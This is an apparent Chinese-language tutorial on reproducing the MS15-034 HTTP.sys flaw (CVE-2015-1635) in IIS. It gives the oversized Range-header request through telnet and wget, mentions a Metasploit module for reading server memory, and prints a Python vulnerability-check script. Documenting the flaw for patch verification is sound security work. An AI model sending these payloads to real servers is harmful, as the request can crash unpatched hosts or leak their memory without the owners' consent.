HTTP.SYS远程代码执行漏洞_CVE-2015-1635(MS15-034 )【多种方法复现】
方法一: 利用如下payload进行测试
其实就是发送web请求包,然后分析web服务器的响应状态,这里假设web服务器为:www.test.com第一个测试方法是通过telnet来实现的,过程如下
telnet www.test.com 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615
我们直接使用wget或curl工具,也可以直接测试这个漏洞,例如使用如下命令行:
wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″
此处18446744073709551615转为十六进制即是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整形所能表达的最大整数,那么我们很容易可以想到,这个“整数溢出”必然同这个异常的超大整数有关。
Pastebin上POC的作者提供的检测工具代码认为,如上请求包,若IIS服务器返回“Requested Range Not Satisfiable”,则是存在漏洞,否则如果返回”The request has an invalid header name“,则说明漏洞已经修补。
方法二: 通过MSF进行远程服务器内存读取
接着通过简单的设置服务器地址与服务器端口,就可以简单开展测试了
方法三: 通过Python脚本进行测试
测试源码:
import sys import socket import random ipAddr = sys.argv[1] hexAllFfff = "18446744073709551615" req1 = "GET / HTTP/1.0\r\n\r\n" req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n" print "[*] Audit Started" client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80)) client_socket.send(req1) boringResp = client_socket.recv(1024) if "Microsoft" not in boringResp: print "[*] Not IIS" exit(0) client_socket.close() client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80)) client_socket.send(req) goodResp = client_socket.recv(1024) if "Requested Range Not Satisfiable" in goodResp: print "[!!] Looks VULN" elif " The request has an invalid header name" in goodResp: print "[*] Looks Patched" else: print "[*] Unexpected response, cannot discern patch status"
检测说明:在安装有python环境的windows或linux下运行上述工具
python IIS_cmd.py 域名/IP